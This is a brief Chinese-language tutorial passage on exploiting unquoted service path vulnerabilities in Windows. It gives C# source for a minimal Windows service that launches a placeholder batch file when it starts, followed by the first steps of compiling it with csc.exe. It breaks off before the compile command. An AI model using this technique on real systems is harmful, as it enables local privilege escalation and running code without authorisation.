文章目录
一,检查服务中是否有路径解析漏洞。
二,用c#自写服务
1,用记事本写,保存为xxx.cs
xxx.csC#语言编写的源程序代码的文件后缀名
using System.ServiceProcess;
namespace Demo
{
public class Service : ServiceBase
{
protected override void OnStart(string[] args)
{
System.Diagnostics.Process.Start("%%%这里写入要运行的批处理或者文件的路径例如C:\\text\\test.bat%%%%%");
}
}
static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}
2,找到csc对上面的文件进行编译,生成程序
①直接搜索csc.exe,然后复制路径。
②用命令行执行编译